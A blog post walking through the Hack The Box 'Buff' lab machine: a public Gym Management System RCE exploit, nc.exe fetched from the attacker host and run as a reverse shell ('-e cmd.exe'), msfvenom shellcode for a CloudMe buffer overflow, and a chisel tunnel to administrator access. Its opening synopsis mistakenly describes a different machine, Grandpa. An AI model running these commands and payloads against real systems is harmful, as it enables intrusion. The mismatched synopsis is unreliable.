DEV Community

ikkyu
ikkyu

Posted on

【Hack the Box】Buff - Walkthrough

#hackthebox

From the HackTheBox
Screenshot from 2021-01-14 19-23-53

SYNOPSISGrandpa is one of the simpler machines on Hack The Box, however it covers the widely-exploitedCVE-2017-7269. This vulnerability is trivial to exploit and granted immediate access to thousandsof IIS servers around the globe when it became public knowledge.

Enumeration 

# Nmap 7.80 scan initiated Fri Sep 25 20:44:58 2020 as: nmap -sV -sC -Pn -oA nmap --script vuln 10.10.10.198
Nmap scan report for 10.10.10.198
Host is up (0.34s latency).
Not shown: 999 filtered ports
PORT     STATE SERVICE VERSION
8080/tcp open  http    Apache httpd 2.4.43 ((Win64) OpenSSL/1.1.1g PHP/7.4.6)
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
| http-csrf: 
| Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=10.10.10.198
|   Found the following possible CSRF vulnerabilities: 
|     
|     Path: http://10.10.10.198:8080/
|     Form id: 
|     Form action: include/process_login.php
|     
|     Path: http://10.10.10.198:8080/facilities.php
|     Form id: 
|     Form action: include/process_login.php
|     
|     Path: http://10.10.10.198:8080/packages.php
|     Form id: 
|     Form action: include/process_login.php
|     
|     Path: http://10.10.10.198:8080/about.php
|     Form id: 
|     Form action: include/process_login.php
|     
|     Path: http://10.10.10.198:8080/contact.php
|     Form id: 
|     Form action: include/process_login.php
|     
|     Path: http://10.10.10.198:8080/index.php
|     Form id: 
|_    Form action: include/process_login.php
|_http-dombased-xss: Couldn't find any DOM based XSS.
| http-enum: 
|_  /icons/: Potentially interesting folder w/ directory listing
|_http-server-header: Apache/2.4.43 (Win64) OpenSSL/1.1.1g PHP/7.4.6
| http-slowloris-check: 
|   VULNERABLE:
|   Slowloris DOS attack
|     State: LIKELY VULNERABLE
|     IDs:  CVE:CVE-2007-6750
|       Slowloris tries to keep many connections to the target web server open and hold
|       them open as long as possible.  It accomplishes this by opening connections to
|       the target web server and sending a partial request. By doing so, it starves
|       the http server's resources causing Denial Of Service.
|       
|     Disclosure date: 2009-09-17
|     References:
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6750
|_      http://ha.ckers.org/slowloris/
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
|_http-trace: TRACE is enabled
|_http-vuln-cve2017-1001000: ERROR: Script execution failed (use -d to debug)
| vulners: 
|   cpe:/a:apache:http_server:2.4.43: 
|       CVE-2010-0425   10.0    https://vulners.com/cve/CVE-2010-0425
|       CVE-1999-1412   10.0    https://vulners.com/cve/CVE-1999-1412
|       CVE-1999-1237   10.0    https://vulners.com/cve/CVE-1999-1237
|       CVE-1999-0236   10.0    https://vulners.com/cve/CVE-1999-0236
|       CVE-2009-1955   7.8 https://vulners.com/cve/CVE-2009-1955
|       CVE-2007-6423   7.8 https://vulners.com/cve/CVE-2007-6423
|       CVE-2007-0086   7.8 https://vulners.com/cve/CVE-2007-0086
|       CVE-2020-11984  7.5 https://vulners.com/cve/CVE-2020-11984
|       CVE-2009-3095   7.5 https://vulners.com/cve/CVE-2009-3095
|       CVE-2007-4723   7.5 https://vulners.com/cve/CVE-2007-4723
|       CVE-2009-1891   7.1 https://vulners.com/cve/CVE-2009-1891
|       CVE-2009-1890   7.1 https://vulners.com/cve/CVE-2009-1890
|       CVE-2008-2579   6.8 https://vulners.com/cve/CVE-2008-2579
|       CVE-2007-5156   6.8 https://vulners.com/cve/CVE-2007-5156
|       CVE-2020-9490   5.0 https://vulners.com/cve/CVE-2020-9490
|       CVE-2014-0231   5.0 https://vulners.com/cve/CVE-2014-0231
|       CVE-2011-1752   5.0 https://vulners.com/cve/CVE-2011-1752
|       CVE-2010-1452   5.0 https://vulners.com/cve/CVE-2010-1452
|       CVE-2010-0408   5.0 https://vulners.com/cve/CVE-2010-0408
|       CVE-2009-2699   5.0 https://vulners.com/cve/CVE-2009-2699
|       CVE-2007-0450   5.0 https://vulners.com/cve/CVE-2007-0450
|       CVE-2005-1268   5.0 https://vulners.com/cve/CVE-2005-1268
|       CVE-2003-0020   5.0 https://vulners.com/cve/CVE-2003-0020
|       CVE-2001-1556   5.0 https://vulners.com/cve/CVE-2001-1556
|       CVE-1999-0678   5.0 https://vulners.com/cve/CVE-1999-0678
|       CVE-1999-0289   5.0 https://vulners.com/cve/CVE-1999-0289
|       CVE-1999-0070   5.0 https://vulners.com/cve/CVE-1999-0070
|       CVE-2009-1195   4.9 https://vulners.com/cve/CVE-2009-1195
|       CVE-2020-11993  4.3 https://vulners.com/cve/CVE-2020-11993
|       CVE-2011-1783   4.3 https://vulners.com/cve/CVE-2011-1783
|       CVE-2010-0434   4.3 https://vulners.com/cve/CVE-2010-0434
|       CVE-2008-2939   4.3 https://vulners.com/cve/CVE-2008-2939
|       CVE-2008-2168   4.3 https://vulners.com/cve/CVE-2008-2168
|       CVE-2008-0455   4.3 https://vulners.com/cve/CVE-2008-0455
|       CVE-2007-6420   4.3 https://vulners.com/cve/CVE-2007-6420
|       CVE-2007-6388   4.3 https://vulners.com/cve/CVE-2007-6388
|       CVE-2007-5000   4.3 https://vulners.com/cve/CVE-2007-5000
|       CVE-2007-4465   4.3 https://vulners.com/cve/CVE-2007-4465
|       CVE-2007-1349   4.3 https://vulners.com/cve/CVE-2007-1349
|       CVE-2007-6422   4.0 https://vulners.com/cve/CVE-2007-6422
|       CVE-2007-6421   3.5 https://vulners.com/cve/CVE-2007-6421
|_      CVE-2001-0131   1.2 https://vulners.com/cve/CVE-2001-0131

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Sep 25 20:51:08 2020 -- 1 IP address (1 host up) scanned in 370.35 seconds
Enter fullscreen mode Exit fullscreen mode

I found port 8080 is open.

Screenshot from 2021-01-07 17-48-39

Local Privilege Escalation

I searched gym in metasploit and found 48506.py.

$ searchsploit gym
[i] Found (#1): /home/ikkyu/exploitdb/files_exploits.csv
[i] To remove this message, please edit "/home/ikkyu/exploitdb/.searchsploit_rc" for "files_exploits.csv" (package_array: exploitdb)

[i] Found (#1): /home/ikkyu/exploitdb/files_shellcodes.csv
[i] To remove this message, please edit "/home/ikkyu/exploitdb/.searchsploit_rc" for "files_shellcodes.csv" (package_array: exploitdb)

-------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                                                                        |  Path
-------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Gym Management System 1.0 - Unauthenticated Remote Code Execution                                                                     | php/webapps/48506.py
WordPress Plugin WPGYM - SQL Injection                                                                                                | php/webapps/42801.txt
------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
Enter fullscreen mode Exit fullscreen mode

I run this.

$ python ~/exploitdb/exploits/php/webapps/48506.py http://10.10.10.198:8080/

            /\
/vvvvvvvvvvvv \--------------------------------------,
`^^^^^^^^^^^^ /============BOKU====================="
            \/

[+] Successfully connected to webshell.
C:\xampp\htdocs\gym\upload>
Enter fullscreen mode Exit fullscreen mode 
C:\xampp\htdocs\gym\upload> whoami
�PNG
�
buff\shaun
Enter fullscreen mode Exit fullscreen mode

Now I got the machine. Next we neet to upload nc.exe to upgrade shell.

At local machine:

$ python -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
Enter fullscreen mode Exit fullscreen mode

At target machine:

C:\xampp\htdocs\gym\upload> curl http://10.10.14.6:8000/nc.exe -o nc.exe
�PNG
�
Enter fullscreen mode Exit fullscreen mode 
C:\xampp\htdocs\gym\upload> dir
�PNG
�
 Volume in drive C has no label.
 Volume Serial Number is A22D-49F7

 Directory of C:\xampp\htdocs\gym\upload

22/12/2020  12:04    <DIR>          .
22/12/2020  12:04    <DIR>          ..
22/12/2020  12:04                53 kamehameha.php
22/12/2020  11:40            38,616 nc.exe
               2 File(s)         38,669 bytes
               2 Dir(s)   7,315,296,256 bytes free
Enter fullscreen mode Exit fullscreen mode

I succeeded in uploading.
Now we can get a reverse shell.

At local machine:

rlwrap nc -lvnp 4444
Listening on 0.0.0.0 4444
Enter fullscreen mode Exit fullscreen mode

At target machine:

C:\xampp\htdocs\gym\upload> nc.exe 10.10.14.6 4444 -e cmd.exe
Enter fullscreen mode Exit fullscreen mode

At local machine:

rlwrap nc -lvnp 4444
Listening on 0.0.0.0 4444
Connection received on 10.10.10.198 49682
Microsoft Windows [Version 10.0.17134.1610]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\xampp\htdocs\gym\upload>
Enter fullscreen mode Exit fullscreen mode

I got a reverse shell.

Administrator Privilege Escalation

I checked process.

C:\xampp\htdocs\gym\upload>tasklist
tasklist

Image Name                     PID Session Name        Session#    Mem Usage
========================= ======== ================ =========== ============
System Idle Process              0                            0          8 K
System                           4                            0         44 K
Registry                       104                            0      7,392 K
smss.exe                       368                            0        384 K
csrss.exe                      456                            0      3,856 K
wininit.exe                    532                            0      4,608 K
csrss.exe                      540                            1      3,452 K
winlogon.exe                   604                            1      8,888 K
services.exe                   676                            0      8,296 K
lsass.exe                      696                            0     12,072 K
svchost.exe                    812                            0      2,520 K
fontdrvhost.exe                836                            0     13,900 K
fontdrvhost.exe                844                            1      8,100 K
svchost.exe                    860                            0     22,724 K
svchost.exe                    956                            0     12,036 K
svchost.exe                   1004                            0      6,028 K
dwm.exe                        328                            1     41,676 K
svchost.exe                    360                            0      8,292 K
svchost.exe                    948                            0      7,100 K
svchost.exe                    996                            0      9,664 K
svchost.exe                   1076                            0     18,084 K
svchost.exe                   1136                            0     18,504 K
svchost.exe                   1208                            0      5,984 K
svchost.exe                   1280                            0      5,680 K
svchost.exe                   1380                            0      8,672 K
svchost.exe                   1388                            0     10,612 K
svchost.exe                   1408                            0      4,044 K
svchost.exe                   1416                            0      7,352 K
svchost.exe                   1516                            0      9,604 K
svchost.exe                   1552                            0     12,944 K
Memory Compression            1564                            0     30,132 K
svchost.exe                   1592                            0      7,004 K
svchost.exe                   1676                            0      6,028 K
svchost.exe                   1772                            0      5,036 K
svchost.exe                   1780                            0      5,792 K
svchost.exe                   1824                            0      6,956 K
svchost.exe                   1880                            0      8,588 K
svchost.exe                   1988                            0      6,180 K
svchost.exe                   1456                            0      6,364 K
svchost.exe                   1336                            0      7,044 K
svchost.exe                   1240                            0      4,432 K
svchost.exe                   2060                            0      7,564 K
svchost.exe                   2132                            0      9,108 K
svchost.exe                   2284                            0      5,600 K
spoolsv.exe                   2300                            0     12,040 K
svchost.exe                   2424                            0      6,124 K
svchost.exe                   2736                            0      7,660 K
svchost.exe                   2748                            0     14,036 K
svchost.exe                   2760                            0     19,308 K
svchost.exe                   2768                            0      3,696 K
svchost.exe                   2756                            0      4,532 K
vmtoolsd.exe                  2788                            0     18,696 K
svchost.exe                   2796                            0     13,656 K
svchost.exe                   2804                            0     15,532 K
SecurityHealthService.exe     2832                            0     13,048 K
MsMpEng.exe                   2864                            0    169,640 K
VGAuthService.exe             2880                            0      7,840 K
svchost.exe                   2980                            0      7,080 K
svchost.exe                   2052                            0      9,868 K
svchost.exe                   3104                            0      9,768 K
svchost.exe                   3144                            0      3,568 K
dllhost.exe                   3660                            0     11,308 K
WmiPrvSE.exe                  3848                            0     14,188 K
msdtc.exe                     2720                            0      8,132 K
svchost.exe                   4540                            0     30,464 K
sihost.exe                    4596                            1     21,576 K
svchost.exe                   4620                            1     11,716 K
svchost.exe                   4672                            1     24,212 K
taskhostw.exe                 4768                            1      9,896 K
svchost.exe                   4932                            0      5,548 K
ctfmon.exe                    4992                            1     10,796 K
svchost.exe                   5080                            0      5,848 K
svchost.exe                   5092                            0     11,500 K
NisSrv.exe                    5212                            0      7,268 K
WmiPrvSE.exe                  5276                            0     18,888 K
explorer.exe                  5716                            1     79,172 K
svchost.exe                   5776                            0     16,212 K
svchost.exe                   5796                            0     11,372 K
svchost.exe                   5960                            0      5,312 K
svchost.exe                   6000                            0     12,380 K
svchost.exe                   5444                            0      4,852 K
svchost.exe                   4416                            0      4,976 K
ShellExperienceHost.exe       1048                            1     51,772 K
SearchUI.exe                  6360                            1    118,800 K
RuntimeBroker.exe             6588                            1     16,452 K
ApplicationFrameHost.exe      6780                            1     26,996 K
MicrosoftEdge.exe             7072                            1     55,284 K
browser_broker.exe            7160                            1      6,876 K
svchost.exe                   6316                            0      4,668 K
Windows.WARP.JITService.e     4404                            0      3,380 K
RuntimeBroker.exe             4356                            1      5,012 K
MicrosoftEdgeCP.exe           4220                            1     18,920 K
RuntimeBroker.exe             4464                            1     13,908 K
MicrosoftEdgeCP.exe           2672                            1     21,300 K
svchost.exe                   7332                            0     11,264 K
conhost.exe                   7464                            0      1,008 K
SearchIndexer.exe             8140                            0     23,680 K
MSASCuiL.exe                  7424                            1      6,812 K
vmtoolsd.exe                  5748                            1     13,220 K
httpd.exe                     1712                            0        460 K
mysqld.exe                    7716                            0      3,480 K
svchost.exe                   2572                            0      3,636 K
svchost.exe                   5304                            1     14,224 K
httpd.exe                     1460                            0      9,188 K
svchost.exe                   6552                            0     12,824 K
SgrmBroker.exe                2296                            0      2,704 K
svchost.exe                   8248                            0      6,984 K
CompatTelRunner.exe           1104                            0        632 K
conhost.exe                   8608                            0      1,216 K
svchost.exe                   7788                            0      8,192 K
Microsoft.Photos.exe          2528                            1      5,240 K
RuntimeBroker.exe             3856                            1     12,252 K
WinStore.App.exe              8424                            1     26,440 K
RuntimeBroker.exe             4556                            1      5,240 K
SystemSettings.exe            7764                            1     32,228 K
svchost.exe                   5984                            0      4,748 K
svchost.exe                   7484                            0      9,652 K
taskhostw.exe                 5920                            1     20,872 K
taskhostw.exe                 3520                            0     23,440 K
CompatTelRunner.exe           1548                            0      2,428 K
conhost.exe                   8792                            0      9,736 K
TrustedInstaller.exe          1016                            0      5,524 K
svchost.exe                    196                            0      5,352 K
TiWorker.exe                  2148                            0    103,996 K
svchost.exe                   8784                            0      7,844 K
svchost.exe                   6488                            0      3,792 K
svchost.exe                   8596                            0     11,860 K
cmd.exe                       7204                            0      2,432 K
conhost.exe                   9176                            0      9,132 K
nc.exe                        7192                            0      5,436 K
cmd.exe                       4504                            0      3,988 K
cmd.exe                        708                            0      3,208 K
conhost.exe                   2452                            0     10,868 K
CloudMe.exe                   3496                            0     26,884 K
timeout.exe                   5968                            0      3,920 K
tasklist.exe                  8796                            0      7,772 K
Enter fullscreen mode Exit fullscreen mode

I found CloudMe.exe. CloudMe is known to be vulnerable. I searched cloudme in metasploit.

$ searchsploit cloudme

--------------------------------------------------- ---------------------------------
 Exploit Title                                |  Path
--------------------------------------------------- ---------------------------------
CloudMe 1.11.2 - Buffer Overflow (PoC)        | windows/remote/48389.py
CloudMe 1.11.2 - Buffer Overflow (SEH_DEP_ASL | win
ws/local/48499.txt
CloudMe 1.11.2 - Buffer Overflow ROP (DEP_ASL | windows/local/48840.py
Cloudme 1.9 - Buffer Overflow (DEP) (Metasplo | windows_x86-64/remote/45197.rb
CloudMe Sync 1.10.9 - Buffer Overflow (SEH)(D | windows_x86-64/local/45159.py
CloudMe Sync 1.10.9 - Stack-Based Buffer Over | windows/remote/44175.rb
CloudMe Sync 1.11.0 - Local Buffer Overflow   | windows/local/44470.py
CloudMe Sync 1.11.2 - Buffer Overflow + Egghu | windows/remote/46218.py
CloudMe Sync 1.11.2 Buffer Overflow - WoW64 ( | windows_x86-64/remote/46250.py
CloudMe Sync < 1.11.0 - Buffer Overflow       | windows/remote/44027.py
CloudMe Sync < 1.11.0 - Buffer Overflow (SEH) | windows_x86-64/remote/44784.py
--------------------------------------------------- ---------------------------------
Shellcodes: No Results
Enter fullscreen mode Exit fullscreen mode

I found 48389.py. I searched about this on exploit-db.

Screenshot from 2021-01-14 21-13-46

Now we need to modify this code a bit and remote port forwarding on the target machine.You can see from the exploit-db that the default is to launch the calculator.

I created payload. Here, the port is set to 4445, but it can be anything.

$ msfvenom -a x86 -p windows/exec CMD='C:\xampp\htdocs\gym\upload\nc.exe 10.10.14.28 4445 -e cmd.exe' -b '\x00\x0A\x0D' -f python -v payload
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
Found 11 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 273 (iteration=0)
x86/shikata_ga_nai chosen with final size 273
Payload size: 273 bytes
Final size of python file: 1452 bytes
payload =  b""
payload += b"\xda\xcf\xd9\x74\x24\xf4\xbe\xe3\xce\xa2\x54\x5a"
payload += b"\x29\xc9\xb1\x3e\x31\x72\x19\x83\xea\xfc\x03\x72"
payload += b"\x15\x01\x3b\x5e\xbc\x47\xc4\x9f\x3d\x27\x4c\x7a"
payload += b"\x0c\x67\x2a\x0e\x3f\x57\x38\x42\xcc\x1c\x6c\x77"
payload += b"\x47\x50\xb9\x78\xe0\xde\x9f\xb7\xf1\x72\xe3\xd6"
payload += b"\x71\x88\x30\x39\x4b\x43\x45\x38\x8c\xb9\xa4\x68"
payload += b"\x45\xb6\x1b\x9d\xe2\x82\xa7\x16\xb8\x03\xa0\xcb"
payload += b"\x09\x22\x81\x5d\x01\x7d\x01\x5f\xc6\xf6\x08\x47"
payload += b"\x0b\x32\xc2\xfc\xff\xc9\xd5\xd4\x31\x32\x79\x19"
payload += b"\xfe\xc1\x83\x5d\x39\x39\xf6\x97\x39\xc4\x01\x6c"
payload += b"\x43\x12\x87\x77\xe3\xd1\x3f\x5c\x15\x36\xd9\x17"
payload += b"\x19\xf3\xad\x70\x3e\x02\x61\x0b\x3a\x8f\x84\xdc"
payload += b"\xca\xcb\xa2\xf8\x97\x88\xcb\x59\x72\x7f\xf3\xba"
payload += b"\xdd\x20\x51\xb0\xf0\x35\xe8\x9b\x9e\xc8\x7e\xa6"
payload += b"\xed\xca\x80\xa9\x41\xa2\xb1\x22\x0e\xb5\x4d\xe1"
payload += b"\x6a\x49\x04\xa8\xdb\xc1\xc1\x38\x5e\x8c\xf1\x96"
payload += b"\x9d\xa8\x71\x13\x5e\x4f\x69\x56\x5b\x14\x2d\x8a"
payload += b"\x11\x05\xd8\xac\x86\x26\xc9\xee\x12\x84\x8a\x91"
payload += b"\x0f\x44\x1b\x0e\xb8\xd0\xbf\xc1\x5b\x6b\x1c\x79"
payload += b"\xe5\xe6\xc0\xf0\x65\x94\x97\x9b\xe1\x38\x06\x3f"
payload += b"\xc4\xa5\xae\xda\x38\x14\x7f\x0b\x08\x66\x51\x62"
payload += b"\x5e\xa8\x9f\xbc\xbe\x80\xeb\x88\x8b\xc8\x3e\x94"
payload += b"\xd3\x6b\x2c\x32\x3a\x0e\xd6\xdf\x42"
Enter fullscreen mode Exit fullscreen mode

Replace the payload part of 48389.py.
Next, we need to upload chisel.exe to remote port forwarding as before. After uploading,at local machine:

$ chisel server -p 1234 -reverse -v
2021/01/07 17:33:38 server: Reverse tunnelling enabled
2021/01/07 17:33:38 server: Fingerprint Wf5cpZzaVbfNXiWNsUT8AEcLYgEeOI7r3U440nagv08=
2021/01/07 17:33:38 server: Listening on http://0.0.0.0:1234
Enter fullscreen mode Exit fullscreen mode

At target machine:

C:\xampp\htdocs\gym\upload>chisel.exe client -v 10.10.14.28:1234 R:8888:127.0.0.1:8888 --keepalive:1000
chisel.exe client -v 10.10.14.28:1234 R:8888:127.0.0.1:8888 --keepalive:1000
2021/01/07 07:31:30 client: Connecting to ws://10.10.14.28:1234
2021/01/07 07:31:30 client: tun: proxy#1000=>--keepalive:1000: Listening
2021/01/07 07:31:30 client: tun: Bound proxies
2021/01/07 07:31:31 client: Handshaking...
2021/01/07 07:31:33 client: Sending config
2021/01/07 07:31:33 client: Connected (Latency 336.4421ms)
2021/01/07 07:31:33 client: tun: SSH connected
Enter fullscreen mode Exit fullscreen mode

Now start a netcat listener on 4445 and execute the pyload on the second terminal.

$ nc -lnvp 4445
Listening on 0.0.0.0 4445

Connection received on 10.10.10.198 49686
Microsoft Windows [Version 10.0.17134.1610]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
whoami
buff\administrator
Enter fullscreen mode Exit fullscreen mode

We got the admin.

Top comments (1)

Collapse
 
marcellothearcane profile image
marcellothearcane •

Ouch! How do you mitigate?

Read next

tsudhishnair profile image

Creating blurred or virtual backgrounds in real-time video in React apps

T Sudhish Nair -

carrie_luo1 profile image

Advanced WAF Not Fully Based on Rules or Signatures

Carrie -

vitinhos67 profile image

Memorização em JavaScript

Victor Santos -

luis_diaz_19a878119983392 profile image

Implementación⚕️Salud Android🤖

Luis Diaz -